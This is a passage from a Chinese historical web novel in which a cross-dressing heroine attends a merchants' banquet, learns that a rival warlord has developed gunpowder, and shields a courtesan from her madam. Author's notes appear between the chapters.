正是广州府的花魁红绡,她夺过孟清辞手里的酒杯,纤腰一拧便轻倚在陈七爷身侧,眼波流转间朝孟清辞轻嗔道:“什么哥哥弟弟的,分明是借故灌酒。这一杯,奴家替七爷喝了。”红艳艳的朱唇轻启,将一杯酒一饮而尽。 孟清辞连忙敛容躬身,拱手赔礼:“是小弟冒失失礼,多有不周,幸得红绡姐姐出言点拨。” 周霁宸笑着摇头,并不戳破,却有那不怕事大的,高声嚷道:“红绡,你也太惯着这小子了!真当咱们不知道?你引他为知己也就罢了,如今连酒都替他挡,就不怕一片痴心错付?这家伙惧内可是出了名的,整个广州府谁人不知!” “说得是,红绡,你在席间随便挑一个,哪个不比他这毛头小子强?” “红绡,你若愿从良,今夜我就找你妈妈说去,纵是万金,爷也出得起!” “得了吧,还看不出来?今日若非子闵的面子,红绡姑娘怎会赏光前来?咱们可入不了佳人的眼。” 周霁宸略带警告地扫过那几人,心知他们是想说金韫年做岑家赘婿的事儿,便打圆场道:“你们几个,别吃不到葡萄就说葡萄酸。不过是岑家大姑娘没看上你们罢了。姐儿爱俏,中意子闵也是常理。何况他与岑大小姐本就郎才女貌、情投意合,你们少在这挑拨人家小夫妻感情。” 金韫年略显尴尬,连忙拱手讨饶:“诸位仁兄就别取笑在下了。红绡姐姐厚爱,子闵实在愧不敢当。”她摸了摸鼻子,赧然一笑,正色道:“内子待我情深义重,子闵曾立誓此生唯她一人,绝不相负。” 红绡被拆穿了心思也不着恼,仍旧软软倚在陈七爷身侧,笑吟吟地说:“就你们精明,偏要嘴快,不过就是疼他一杯酒罢了。还是咱们陈七爷最有君子风度,俗话说的好,看破不说破,红绡敬七爷一杯。”说罢纤指轻抬,将酒杯盈盈递至陈君砚唇边。 陈君砚不想金韫年,年级轻轻却是情场‘老手’,正听得入神,便被红绡奉承了一杯酒,又觉这红绡虽然有几分小女子的心机,却也性情爽利。便不欲计较,唇角含笑‘消受美人恩’,就着红绡的手,饮下这杯酒,目光却意味深长地瞥了一眼金韫年—— 作者有话说:实在难受,今日先更这些。[化了] 第49章 第 49 章 裙下讨活 孟清辞从陈君砚的目光中品出三分揶揄, 七分戏谑,心下赧然,忙再度对陈君砚拱手作揖:“让七哥见笑了。” 陈君砚扶正了靠在自己身上的红绡, 不动声色地与她拉开些许距离, 转而对着金韫年淡笑道:“年少慕艾,再寻常不过, 只是想不到,让为兄出乎意料的是, 你年纪轻轻,便情根深种,竟是个情种。” 孟清辞面有赧然, 微微颔首道:“小弟惭愧,幸得吾妻不弃,对小弟倾力相助。若非她处处帮衬, 断无小弟今日。” 薛家三少爷薛天禄见陈七爷,竟亲口认下金韫年这个赘婿作弟弟,心中又妒又羡, 很不是滋味。 薛三少爷薛天禄想不通,周大少爷为何非要抬举金韫年,区区一个通事, 不入流, 不过是能和番人讲几句杂话, 以口做利, 不事劳作, 比商人还不如,怎配和他们这些大豪商子弟同席,平起平坐。 薛天禄越想越不甘, 他不想让金韫年继续出风,便将话题一转:“如今大皇子倒行逆施,不但毒杀了太子,更逼死亲生父皇。听说十三省中有两位巡抚认为大皇子德威不正,已自立为王,正欲挥师京畿,眼下时局动荡,只怕要掀起一场血雨腥风了。” 周霁宸轻叹一声,摇头道:“你这都是月余前的消息了。如今各州府岂止是不服大皇子,早已各自为政、拥兵自重,大有群雄割据之势。昭德朝竟只传了两世便至此境地,未免叫人欷歔。” 赵家二爷赵经纶感慨:“如今这光景,也就咱们闽广之地尚算安生。上月里,我们赵家往大同的米路便已断了。如今又过了半月,只怕各州省早已诸路烽烟、兵戈相向,殊不知如何的剑拔弩张。” 更有那想要巴结陈君砚的,连忙笑着接话:“要说闽广两地的百姓才能安居乐业,皆仰仗巡抚大人,咱们这些世族豪商皆以傅大人马首是瞻,只不知,傅大人日后,究竟是何章程?” 此言一出,席间顿时一静,众人目光纷纷投向陈君砚。在座皆是闽广有头有脸的豪商,谁不知陈家背后倚仗的是浙江知州姚大人,而姚大人又出自傅大人门下。这几年浙江与闽广两地往来“密切”,早是心照不宣的秘密。 只说陈家在市舶司的面子硬气,便是他们比不得的,若说陈家不是在替傅大人办事,任谁都不信。 想到这一层,众人不由得又是一阵眼热,虽说如今商贾子弟已可参加科举,却终究难脱出身之累,常受世家权贵轻蔑、排挤。若是傅大人也有心那个不可说的之位,那陈家便是从龙之臣,一朝翻身、改换门庭,绝非虚言。 谁能想到,当年因一桩夺产冤案而一夜倾覆的陈家,竟借一桩姻亲攀上浙江知州姚大人,而今更可能搭上傅大人这条大船,重现昔日风光之余,甚至有望更进一步,这般造化,怎么令人不不羡且妒? 薛天禄本就不是心思深沉之人,他眼珠一转,笑着扬声问道:“在下听闻,傅大人如今得了大杀器,时间绝无仅有,威力无比,不仅能破坚固城墙,更可用于阵前杀敌,用时声如雷鸣,有震耳欲聋之势。不过,若是真有此利器,想必大业可期。” 陈七爷原本勾着唇角,似笑非笑地听着众人你一言我一语,笑而不语,并不曾真正走心。 可薛天禄这话一出,他脸上的笑意顿时收敛了几分,目光陡然锐利,扫过在座的每一个人,更是在红绡等伶人身上一一细细略过。 红绡何等机敏,立即会意,连忙上前一步盈盈一礼,笑着告退:“诸位爷恕罪,姐妹们舞得一身香汗,容我们先去更衣整理,稍后再来伺候。” 薛天禄浑不觉气氛有异,仍轻佻笑道:“既是你开口,哪有不允的道理?快快去罢。” 孟清辞端坐席间,垂目敛眉,只将酒杯轻抵唇边作势啜饮,一派平静无波。心下却因薛天禄的话骇然翻转,心想:莫非傅珩早已勘破她制炸药的伎俩?若他察觉那一切不过是她自导自演的一出戏,以他那般偏执狠戾的性子,是决计不会放过她的。 思及此处,孟清辞已无心再与众人周旋。她恍然明白,今日周霁宸特意谢她,不过是个由头,真正目的实则是借机聚拢闽广世家豪富,为傅珩筹谋大业铺路。 她心念电转,当即佯装醉态,手腕一歪碰倒了案上酒壶,下颌险些磕到桌沿,她勉强撑起身子,眼波涣散、步履踉跄,朝众人歉然一揖,告饶道:“小弟实在不胜酒力,若再醉下去,回家必遭夫人责难,还望各位哥哥体谅,容小弟先行告退,改日再和各位哥哥们赔罪。” 周霁宸见她醉态明显,又想后续之事与她无甚干系,便顺势笑骂:“你这酒量,真该好生练练。今日便饶过你,下次可休想躲过去。” 陈君砚却眸光微动,似笑非笑地缓声问:“哦?金贤弟这便要走了?” 孟清辞连忙打了个酒嗝,赔笑道:“七哥海涵,下次…下次小弟做东,定陪七哥喝个尽兴。” 陈君砚闻言莞尔,语气宽和:“你既这么说,我这做哥哥的也不便强留,便快快先回去休息罢。” 其他人的心思全不在金韫年的身上,倒觉得他走了也好,便都场面的关切几句,由着他离开。 红绡极有眼色,立即上前搀住“金韫年”,稳步扶她出门。 待闲杂人尽数离去,屋中只余几位核心人物,陈君砚一改先前散漫之态,神色渐凝,缓缓开口:“傅大人的心思岂是你我能探知的,更遑论军中机密之事。陈某一介商贾,只知道傅大人乃是闽广的天,唯有傅大人稳坐高位,你我方能得享太平。陈某也奉劝诸位,不该打听的,莫要多问。只管忠心做事,傅大人自然不会亏待衷心效力之人。 他稍作停顿,语气渐沉,字字清晰:“想必在座诸位都是明白人。咱们从来就是一条船上的人。若是这天什么时候塌了,那才是真正要命的大事。” 薛天禄脸上青白交错,坐立难安。这话头儿本是他挑起的,陈七爷这番话,犹如一记耳光狠狠扇在他脸上,让他在众人面前颜面尽失,偏他还不敢辩驳一字。 他深吸一口气,取过酒壶自斟三杯,举杯时脸上已满是愧色:“是在下失言冒昧,自当罚酒三杯。日后若有需薛家效力之处,七爷尽管开口。薛家愿为巡抚大人效犬马之劳,甘做马前卒!” 其余众人经了这番敲打,心下凛然,纷纷举杯应和:“我等皆是闽广子民,自当唯巡抚大人马首是瞻!” 陈七爷见众人表态,这才面露满意之色。他见今日目的已达,便朝周霁宸递去一个眼色。 周霁宸会意,立刻起身张罗:“今日难得一聚,须得不醉不归!可不能有那学子闵的,临阵脱逃。” 薛天禄闻言,嗤笑一声,语带讥讽:“金韫年?不过一个赘婿出身,也就周兄你抬举他,否则,凭他也配与七爷称兄道弟?” 陈七爷眉梢微挑,似是忽然生出几分兴致:“哦?此话怎讲?” 薛天禄自以为得了机会,能趁机抹黑对方,语气不由带上了几分激愤:“他一个乡野出身的穷小子,不过仗着有几分姿色,得了岑大小姐青眼,这才入赘岑家。这事在广州城里谁人不知?他一个男子,在女子裙下讨生活,有何资格与七爷同席共饮、兄弟相称?简直有辱斯文!”—— 作者有话说:本周字数肯定够,之后会多更出来的 第50章 第 50 章 奇哉怪哉 周霁宸见他越说越不堪, 厉声打断:“薛天禄!子闵是我引荐给七爷的,你莫非连我也要一并编排?” 薛天禄话音戛然而止,嘴角扯出一丝僵硬的弧度, 悻悻道:“周兄言重, 小弟又怎敢对周兄不敬?不过随口说几句实话罢了。” 赵经伦赶忙打圆场道:“周兄何必与他一般见识,他的脾气你又不是不知道, 有口无心罢了。” 周霁宸却丝毫不领情,目光冷冷地扫向薛天禄, 哼了一声:“什么实话?若是我没记错,上个月你还低声下气求子闵,帮你与阿拉伯人谈那笔宝石生意。多少人眼红盯着, 若不是子闵在中间斡旋,你能拔得头筹?这一笔让你赚了不少罢?而今,你的钱袋子鼓了, 却放下碗骂娘,背刺诋毁于子闵,你这般行事, 叫我们日后要如何与你共处?” 薛天禄被这一番话戳中痛处,脸色顿时铁青。若说方才只是酸意,此刻却是真火攻心。他猛地灌下一杯酒, 将酒杯重重撴在桌上, 愤愤然道:“说的好像我承了他金韫年天大的人情!你们却不知, 这小子, 心黑手狠着呢, 他何时吃过亏?从中抽了我成百分之五的利,如今的税价也才十抽一,他什么力无需出, 只动动嘴皮子和阿拉伯人说几句罢了,从中间过一手,就要抵税价的一半,我们可是银货两讫,我可不欠他金韫年一分一厘。” 周霁宸心下不由冷笑,暗想:薛天禄此刻倒是道貌岸然,大谈信义!若非金韫年背后仰仗着肇庆府岑家土司的势力,就凭薛家一贯的德行,岂会这般老老实实地履约? 赵经伦原本微醺的眼眸顿时清醒了几分,他目瞪口呆地将筷子往桌上一拍,意难平道:“半成利你还嫌多?前朝市舶司抽税两成,你薛家当年不也一声没吭地认了?何曾见你薛家有半分愤懑?如今巡抚大人体恤商民,关税只抽一成,你谈下的可是上等宝石买卖,转手赚的非定利,说不准利润要高出预估利多少,何止翻倍?子闵只要你付定利的付半成佣金,你竟还舍不得?” “只恨我当时不在广州,若换作是我,莫说半成,就是一成的佣金我也心甘情愿!”赵经伦一脸难以置信,他摩挲着下巴,觑学天伦神色,咂摸着嘴,轻笑一声道:“我敢打赌,这番话,你绝不敢当着金韫年的面说出口。” 薛天禄本是想拉踩金韫年,在陈君砚面前露脸面,不想阴差阳错叫周霁宸和赵经伦两人把自己的事情,在众人面前撂了个底掉。 他脸色沉郁,却嘴硬,仍旧不肯服软:“他不过一个赘婿,若非背靠岑家,谁会给他这个脸面?” 当初他偶然见岑家大小姐一面,惊为天人,忙让母亲上门去说亲,却叫岑家大小姐以‘他停妻另娶,如何都不是良人’给拒了,不想岑大小姐转头便让一个不知哪里冒出来的小白脸入赘,岂不是明晃晃的打他薛天禄的脸,他薛家三少难道还不如一个小白脸吗? 这时有人朗笑一声,不嫌事大的道:“你们都别理会他,他这是没能抱得美人归,意难平,才对子闵耿耿于怀。” 周霁宸像是想起来薛天禄登岑家门提亲之事,摇头道:“莫说你想岑家大小姐,你便是上门当赘婿,岑大小姐也看不上你。” 薛天禄再不忿也不敢在周霁宸面前造次,只能委屈道:“周兄,没的你这么羞辱兄弟的。” 陈君砚来了兴致,催问道:“哦?此话怎讲?你便不要卖关子了,快快说来。” 周霁宸这才道:“你们以为岑家如何叫她一个女子出来广州府顶门立户,岑家大小姐,那可不是什么只会绣花的一般闺阁女子,银子在她手里都能攥出水来。她两年前在肇庆府只用了三个月便打破了端砚于肇庆府的霸主地位。” 薛天禄摇头道:“这不可能,我都打听了,她若是有你说的能耐如何要来广州府。” 周霁宸哼一声:“我舅舅家与那边有亲,还能说岔了?都知道这几年才出的天丝棉吧?” 赵经伦立时接道:“在广州走商的有谁不知道,如今这天丝棉,不光是昭德朝内的紧俏货,连番商都视若珍宝。市面上早已是供不应求,大有价无市之势。” 周霁宸适时收声,只意味深长地扫视众人,留给他们一个自行品味的眼神。席间诸人心中顿时转过无数念头,终是腹诽:那天丝棉的独门工艺,竟出自岑家大小姐之手?这怎么可能? 他见众人骇然之后,面上皆是不敢置信的神色,这才不紧不慢地续道:“岑家怎么可能叫岑大小姐嫁到别家去?她这样的女子招赘,怎么可能只看脸嫩?” 他目光转向薛天禄,略有嫌弃:“你只盯着金韫年抽你那半成利,却不想想,他手里过的,又何止你这一桩买卖?岑大小姐哪里是在招赘婿,分明是给自家请回了了个会下金蛋的金鸡。” 一席话点醒梦中人。在座诸位细细回想,近一年来码头那些番邦的大宗买卖,桩桩件件都似乎是金韫年过手的。 再想及他的见识口才,配上岑大小姐的天丝棉,简直将番商的命脉拿捏得死死的。 岑家这两口子,不显山不漏水的,做的尽是稳赚不赔的买卖,闷声发着大财。如此算来,他们才是真正的一本万利。 可笑薛天禄还鄙夷金韫年不入流。广州府里,哪个不入流的通事,敢张嘴就抽半成的利? 陈君砚倒是听得入了迷,他脑海中浮现出,金韫年方才温和内敛、甚至带着几分腼腆的模样,实在难以将之与周霁宸所描绘的、那个在商场上舌灿莲花的精明锐利模样重合。 他心中却涌起一股强烈的割裂感,一个是几杯酒下去便面生红晕,唯恐夫人不悦而急于归家,一个却能以口舌攫取重利,这巨大的反差令他感到一种奇妙的不真实。心道:这对小夫妻还真是有趣的紧。 陈七爷自然知道天丝棉,岑家能坐上土司之位,与巡抚大人有着千丝万缕的关系,就他所知,两年前,岑家家主还亲自去了闽州拜见家主,却不知所谓何事。 可岑家向巡抚大人进献天丝棉,却从未提及,天丝棉乃岑家大小姐所出,此行似乎比他想的有趣的多。 薛天禄听周霁宸所言,言辞凿凿、有根有据,便知此事不虚,众目睽睽,周霁宸定然不会为了抬举金韫年一个赘婿胡诌。 他心里不是滋味的很,一股酸涩直冲喉头,想他薛家三少,竟被嫌弃至此! 一面,薛天禄又不免为自己当初的眼光,暗暗泛起一股隐秘的得意。暗叹自己当初的眼光果然不俗,岑大小姐确非池中物,不愧是他一眼相中的女子。 一面,更是失落与意难平翻搅他的五脏,悔恨自己终究是没这个福分。 要知道,那天丝棉已成岑家最大的牌面,连巡抚大人都赞赏有加,并已列入军需,岑家势力今非昔比。难怪那金韫年能在小海乃至濠镜澳(今澳门)畅行无阻。 此时,赵经伦等人皆一副原来如此的目光看向薛天禄,似乎知晓了,他两年前为何突然休妻之事,那时候他前妻还闹过自缢,闹得几乎人尽皆知,很是难看。 薛天禄装作不知道的侧脸摸了摸鼻子,躲过众人目光。 不过一息,又有人窥得陈七爷似乎对金韫年之事颇有兴致,便知陈七爷喜欢猎奇,便道:“要说通事不是出身卑微,在番人中摸爬滚打,随番人走南闯北,才会几句番话;便是那能屡第不中的穷酸书呆子,有几分天赋。反倒是金韫年鹤立鸡群,不过是肇庆府一个小户出身,不仅精通数国番话,他还能读写阿拉伯文和倭文,照说,这种必然是个书呆子,可他竟然连个童生也不是,却比市舶司里,礼部来的大人还厉害。” 赵经伦看懂了那人的路数,揣摩了下陈七爷的心思,便笑着说起金韫年的风流韵事来:“子闵天赋过人,连礼部来的大人都夸赞,众所周知,没甚稀奇的,要说稀罕事儿,还要说他惧内。” 周霁宸也笑道:“这也不是什么新鲜事儿。” 赵经伦拿乔,目光扫过众人,吊足了胃口,才道:“说子闵惧内,多喝两杯都要怕他夫人责备,撇下咱们,逃也似的回去。可若说他真是如此惧内,为何能让引红绡为知己?都知道红绡一舞难求,你等大概不知罢!对金韫年可是例外,他可是常买红绡的帖子,楼里的姑娘还都夸赞他斯文儒雅,是伯牙再生,顾曲风流的妙人。他如此处处留情,却不见他家夫人恼怒,他一个入赘夫婿,夫人竟然不醋?岂不是奇哉怪哉?” 周霁宸从没往这处想过,也不由得品出几分稀奇来:“你尽盯着人家小夫妻作甚,不过你说的,确实有几分歪理。” 这时又有人咦了一声:“你别说,有一次他夫人在我的银楼遇见红绡,我还以为岑夫人要大打出手,谁知两人不仅相谈甚欢,一同相看首饰,最后岑夫人还给红绡结了账,更是送了红绡件贵重的首饰。”有意味深长,别有深意的说了一句:“一会儿你们且瞧着,红绡定然是跟着回去了的。” 陈君砚半垂眼眸,轻抿一口杯中酒,勾唇浅笑,若刚才只是生出几分好奇,如今便有十分。 这厢,红绡扶着微醺的金韫年起身离去。两人相携下楼时,红绡搭在金韫年臂弯上的手止不住地轻颤。 红绡死死咬住齿关才不至于时态,她不过是个青楼女子,生来卑贱如蝼蚁,命如草芥,方才无意间听闻那等机密,只觉一股寒意从脊骨窜起,真怕自己被人灭口,不明不白便没了性命。 孟清辞感觉到了,她拍了拍红绡的手,安抚道:“别怕,不碍事。” 红绡咬了咬红唇,她心金韫年,稳住了心神,轻轻颔首:“公子刚喝了不少,还是奴家送你回去罢!” 孟清辞无声低笑一声,略有轻佻的勾了下红绡的下颌:“果然还是你贴心,知道疼人,不过,天色已经晚了,你那娇子太熬人,我哪里舍得你遭这份罪。”说着还凑近了红绡耳畔,与她调笑道:“还是我送你回去罢,省得你提前走了,你妈妈知道,又要说三道四数落你。” 红绡闻言,侧过绯红的脸颊轻声啐道:“没个正经的,叫你家夫人知道,仔细你的皮!”—— 作者有话说:傅珩:都快忘了我是男主了 孟清辞:早不记得你了 作者:关于天丝棉,是提取的植物纤维,比如竹子和树木,也不是完全不可能,如果有知道说这个技术古代实现不了,那就是架空私设,不要考究。 这两天更新有点少,抱歉啦,我努力。[猫爪] 50-60 第51章 第 51 章 痴心错付 孟清辞却就势搂紧她的纤腰, 大笑着步出酒肆:“那便不叫她知晓,省得她伤心,咱们悄悄的, 自在快活, 岂不更好?” 此间认识金韫年的人不在少数,见他美人在怀, 风流不羁的模样,都是男人, 不由得,互相之间会心一笑:男人嘛,哪有不偷腥的呢。 果然, 孟清辞送红绡回去后,秦妈妈撂了脸色,一把拧上红绡的手臂, 骂声刺耳:“早叮嘱过你,今日不能得罪,不能得罪, 今日这么好的机会,你若是能攀上陈七爷,什么好日子过不得?你如今是翅膀硬了, 连我的话都当作耳旁风!你再娇狂, 我也是你妈妈, 不信你还能飞我的手掌心去不成?” 秦妈妈冷嗤一声, 嘴角撇得老高:“金爷再喜欢你又如何?如今看着是肯为你一掷千金, 可你也不看看,他一个入赘的小白脸,自己还要靠女人养, 难不成真能赎你出去?我告诉你少要痴心妄想,趁早死了这条心。你真要是个凤凰,也落不到我这花楼来,你天生就是这个馆姐儿的命,心比天高,命比纸薄,可没什么好下场。” 孟清辞饮了酒,便没有下马车,想着秦妈妈见了他的马车,知道是自己亲自送红绡回来,便不会太难为红绡。不料秦妈妈今日陪客人吃了两杯酒,并未留意到门外动静,只顾扯着红绡斥骂。 孟清辞执扇挑帘,半张脸隐在暗夜里,似笑非笑地睨着秦妈妈,眸中却凝着寒意:“秦妈妈,当着我的面这般辱骂,是不是太不把金某放在眼里了?” 嗓音平缓,却似裹了冰碴:“金某从不讳言入赘岑家,只是我夫人怕是听不得有人在外面诋毁我,毕竟,你辱我,她面上也不光彩。” 孟清辞话音微顿,他眼底骤沉,一字一顿问:“方才你说——金某要靠夫人养活?这话是谁传的?你指出人来,我亲自与他对质。若指不出”扇骨轻敲在车窗边缘,轻蔑一笑:“那便是你蓄意散布谣言,毁我名声。金某虽不才,要不了你的命,但敲碎你满口牙,倒也不算难事。” 秦妈妈这才看见金韫年那堪称芝兰玉树,丰神俊逸的脸,混沌的脑子清醒了几分,她不过是想要敲打红绡这棵摇钱树,不想一时口快,这下好了,叫正主儿撞见了。 她拿着帕子擦了擦额角冒出的细汗,神色慌乱的支吾:“哎呦,原来是金爷送红绡回来的,这死丫头也不早说?”说着还责怪的瞪一眼红绡。 红绡的团扇遮了脸面,并不瞧她,她刚不拦着,也是想叫秦妈妈长个记性,省得什么香的臭的客人都想叫她接。 孟清辞却冷笑:“若是告诉你,岂不是听不见你的一番肺腑之言了。” 秦妈妈尴尬的谄媚笑着,一张老脸堆了褶皱,连忙赔不是:“金爷您息怒,是我吃了酒老糊涂了,您可别和我一般见识,前面不过是为了威吓红绡瞎说的,我给您赔不是。”这秦妈妈也算是个人物,豁得出脸面,站在花楼门前,人来人往,便往自己脸上招呼,左右开弓,一边还道:“叫我胡咧咧,我给金爷赔罪,金爷消消气。” 孟清辞眸色冷淡的看着,并不做声。 秦妈妈扯了扯嘴角,脸上生疼,知道糊弄不过去,又道:“后面都是我昏了头,胡说的,并不是说金爷,在小海,想要做番人的买卖,谁不知道金爷的本事,都是我喝多了马尿湖沁的。” 孟清辞笑笑,温声道:“我看你是喝少了,还能说两句明白话,不如当我的面再灌两杯马尿,看你还能说出什么来?” 秦妈妈脸色青一阵白一阵,身子晃了晃险些吓晕过去,连连摆手:“金爷大人有大量,饶了我,只这一次,我再不敢了,再不敢胡言乱语。” 孟清辞:“不过是玩笑几句,秦妈妈倒是当真了。” 秦妈妈忙不迭道:“当真,当真,金爷菩萨心肠,我再也不敢了。” 孟清辞给跟着自己的仆从严江一个颜色,严江掏出一张银票,递给秦妈妈。 孟清辞:“这两个月,红绡的牌子我包了,我既然包了红绡,不论我来不来,你都不能叫她出去再陪别人,若是叫我知道,你阳奉阴违” 秦妈妈拿着三千两的银票,觉得烫手的很,只能作揖应承:“不敢,不敢的,金爷放心。”三千两固然不少,可红绡正当红,当然是接的客人越多越赚钱,只此刻秦妈妈哪里敢讨价还价,只能认了。 红绡在秦妈妈身后,向金韫年投来一个复杂的眼神,见金韫年看过去,红绡又难堪的别过头去,心道:她不值得他如此费心,若非他指点,以她的舞艺,夺不下花魁的头名。可得了这名头又如何,这泥藻,如何挣扎也无用,被人买下破了|身|子,不过早一天晚一天罢了。 “走罢!”孟清辞恍若未觉的放下车帘。 严江和车夫坐在车辕上,马车咕噜噜驶离。 秦妈妈喘口气,心总算放进了肚子里,她将银票揣在怀里,扭头见红绡一副失了魂的模样,一指头戳在红绡的额头上,恨铁不成钢的道:“看你那没出息的模样,早晚要栽跟头,都说了,做咱们这一行的,最忌讳的对客人动真心,真是怎么教都不会,我就看你以后怎么后悔。” 秦妈妈摇了摇头,转身迈过门槛进门去,一边暗自摇头,她在这欢场三十年,什么男人没见过,别以为她不知道,红绡还是个雏|儿。什么男人能不喜欢碰女人?哼!红绡那死丫头不听她的话,眼下看是捧着,以后心被养大了,姓金的又不肯赎她,到时候有她后悔的。 孟清辞歪靠在车壁上,今夜的酒劲儿有点大,她额头一胀一胀的疼,她脑子里又将席间的话过了一遍。 说来也怪,此地风物诸多皆似明代,却独独没有炸药一类热武器。她正是敏锐地抓住了这至关重要的一点,每次偷偷带了材料上青云观藏起来,以炼丹为名,遮掩自己借炼丹炸炉的真实意图。 因为出其不意,傅珩又不在身边,才能如此顺利的出逃。只是孟清辞万万没想到,不过短短两年,傅珩竟是参透了火药的奥秘。只不是知道,傅珩是否对两年前的事情起疑了。 如今他手握火药的秘方,对于其他仍持冷兵器的割据势力而言,无异于降维打击。傅珩问鼎天下,恐怕只是时间问题。 念及此,孟清辞心中一片凛然。自己从前竟未看出他有这般鲸吞天下的野心,可见他心思之深沉一如既往。 不过,他既然有心问鼎天下,便没心思用在她身上,她姑且走一步看一步。 只是她倒是小看了傅珩,也小看了青云观,不知道这炸药是清虚子研制的,还是傅珩自行勘破的,倒是阴差阳错助他一臂之力。 一时又想:到底是傅珩一早有心帝位?还是傅氏早有图谋?某朝篡位,从来都不是一朝一夕之事,若是一早便有谋划,为何傅氏还让傅静妤嫁给太子? 或者说太子被大皇子毒死,到底是谁的手笔?不知道,傅静妤是否知道,又是否亲自动手了。 孟清辞细思则恐,想想便不寒而栗。 傅氏还真是为达目的不择手段,好一个无毒不丈夫。 不过这些与她都没有干系,若是真没有余地了,她想,她还可以跟着传出海,总归不是非要在这片土地上讨生活。 “怎么到家了,还不舍得下来?”车帘被掀起来,朱幼宜团扇遮了遮面,挥动了两下,嫌弃道:“怎么喝了这么多?” 孟清辞这才回神,睁开眼睛,看见朱幼宜在车辕上正关切的看着自己,安慰笑笑:“熏着夫人了,实在抱歉。” “少要贫嘴。”朱幼宜哼笑道:“你可是难受了?” 孟清辞就着朱幼宜的手臂下车:“还好,今日的酒有点烈。” “叫你少要应酬他们,今日是见了什么人,喝了这么多?”朱幼宜扶着孟清辞进了正房,打发了一众下人,帮她把外衣脱了,一面唠叨:“快去洗洗,好好睡一觉便没事了。” 孟清辞指尖轻掠,在朱幼宜脸颊上一扫而过,随即朗声一笑道:“夫人果然聪慧,竟是一猜便中。” 朱幼宜明知眼前这人同是女儿身,此番作态也不过是戏谑玩笑,颊边却仍不受控制地漫上一层热意。 实在怨不得她,要怪只怪孟姑娘这男装扮得太过逼真,一言一行风流倜傥,潇洒不羁间不见半分女气,让人晃神间难免心弦一颤,见了多少次亦是情难自控,又想,难怪那红绡眼热的紧,这等颜色,又温润如玉,哪个女子见了不心动? 朱幼宜没好气的推着她进了浴室:“没人在,还装什么,快去洗洗。” 孟清辞从善如流的进了浴室,将中衣解了,同束胸的布条一同搭在架子上,踏入浴桶,人叫热气一熏,精神几分,扬声对外间的朱幼宜道:“今儿周霁宸给我引荐了陈君砚,陈七爷。” 朱幼宜道:“是与浙江知州有姻亲的陈家七爷?” 孟清辞意外问道:“唔?你知道?” 朱幼宜接过婢女送进来的醒酒汤,又把门关好:“怎么不知道,陈老爷子当年也是个人物,商场上手段了得,否则当年也不会叫人觊觎身价。不过嘛,他最出名的,却是人到中年,喜欢上了现在的夫人,他一个鳏夫却喜欢上小自己近二十岁的小姑娘,也就是陈七爷的亲娘,否则陈七爷怎么能有个比自己还大几岁的侄女。” 孟清辞莞儿:“确实过分,不过这并不稀奇。” 朱幼宜站在浴室外,靠着门框,又道:“若是寻常人家的姑娘自然没什么,那姑娘祖上做过官的,据说出过官至二品的大员,如今改朝换代没落了,亦不可能叫自家姑娘嫁给一介商贾。” 孟清辞来了兴致,这两人身份可谓云泥之别,她好奇问道:“后来呢?” 朱幼宜轻轻摇头,语气中带着几分感慨:“陈老爷待夫人确是真心,当年陈老爷也算金诚所至,金石为开。姑娘家那时虽已没落,陈老爷却毫不介意,不仅出了丰厚的聘礼,还出钱出力扶持她那几个弟弟读书,更许诺此生绝不纳妾。只可惜,姑娘娘家那边,竟没一个子弟争气,能在科举上有所进益。后来嫁给陈老爷,陈老夫人又将全部指望都寄托在儿子陈七爷身上,谁知这位陈七爷,偏偏只热衷于商贾之道,一心扑在生意上,伤透了陈老夫人的心。” 她略顿一顿,又道:“不过话说回来,陈七爷于经商一道确有天分,手段灵活、眼光独到,连浙江知州都对他颇为赏识。” 孟清辞换了件干净的中衣出来,露出原本清丽的容貌,双眸被水汽氤氲得盈盈欲语,发梢还滴着水珠。 她端起醒酒汤便一饮而尽,苦涩的味道滚过喉咙,立刻让她皱紧了眉,忙不迭地呷了口茶漱口。 朱幼宜跟在她身后,拿着干布为她细细绞着湿发,一边忍不住念叨:“你慢点呀!” 孟清辞接过朱幼宜手里的帕子,自己擦头发,一面问:“孩子睡了?今日可有闹你?” “也不看你几时回来的,他才多大,自然睡了。”朱幼宜呵笑:“他聪明着呢,你不要以为他小什么都不明白,从前的事情和他没关系,你见了他自然点,别迁怒他。” 孟清辞将湿透的巾帕搭在一边,叹一口气:“他帮我解脱,我谢他还来不及,怎么可能怪他,只是他越长越像他,对着他那张脸,我自然有些抵触。” 朱幼宜推了推她,让她往床榻里边挪,语气里带着怨怪:“他才多大,能看出什么来?你别自个儿胡思乱想,平白添堵。” 孟清辞似乎是听进去了,幽幽地长叹一口气。 两人各自盖好被子,仰面躺下,朱幼宜才道:“巡抚府跟岑家订了明年一整年的天丝棉,还下令明年不准岑家卖布给番商。还有” 孟清辞已是睡意昏沉,含糊问道:“还有何事?” 朱幼宜的声音带着几分不解:“还有一桩怪事,巡抚府近日竟下令,责令各大世家与豪商上缴大量木炭、硝石,并加紧开采黄铁矿。” 话音落下,漆黑的床帐内,孟清辞的眼睛眨了眨,此刻很确定:傅珩,确已制出了火药。 正当朱幼宜昏昏欲睡的时候,孟清辞忽然问道:“制糖研制的如何了?咱们和番商的生意总还要做。”—— 作者有话说:傅珩:我只配出现在别人说 孟清辞:轮不上你,听说要安排我白月光了 第52章 第 52 章 互不相欠 翌日, 孟清辞比平日醒得迟了些。刚用罢早饭,便见朱幼宜抱着孩子走了进来。 小家伙有一双黑葡萄似的大眼睛,一瞧见孟清辞, 立刻在母亲怀里扭动着要下地, 他脚一沾地,就迈着小短腿噔噔噔地, 朝着孟清辞冲过去,一头扎进她怀里, 软糯糯地喊着:“爹爹,抱!” 这一声叫得孟清辞心头发软,他俯身将小家伙稳稳抱进怀里, 甚是亲昵的揉了揉小家伙的发顶,语气里带着纵容的温柔道:“你一早这是去哪里撒欢了?瞧这一头的汗。” 孟清辞将小家伙放在榻上,接过朱幼宜递过来的素帕, 仔细替小家伙擦拭额头和脖颈间的细汗。 孩子最能感知旁人待自己的情绪和态度,尤其是自己最依恋的阿爹。岑亦初觉得,今日的阿爹格外不同, 周身都散发着一种柔软的亲和。他忍不住伸出小胳膊,紧紧环住孟清辞的脖颈,将热乎乎的脸蛋贴上去蹭了蹭, 想:阿爹的味道真好闻呢! 岑亦初嘴里嘀咕道:“阿娘刚带我去街上吃早点了。” 朱幼宜站在一侧, 正背对着儿子, 悄悄向孟清辞递了个眼色, 忍不住用帕子按了按眼角, 心里又是酸又是软,心想这么好的大儿子,谁舍得硬起心肠不喜欢呢?又不由得暗暗瞪了孟清辞一眼, 嗔怪她太狠心。 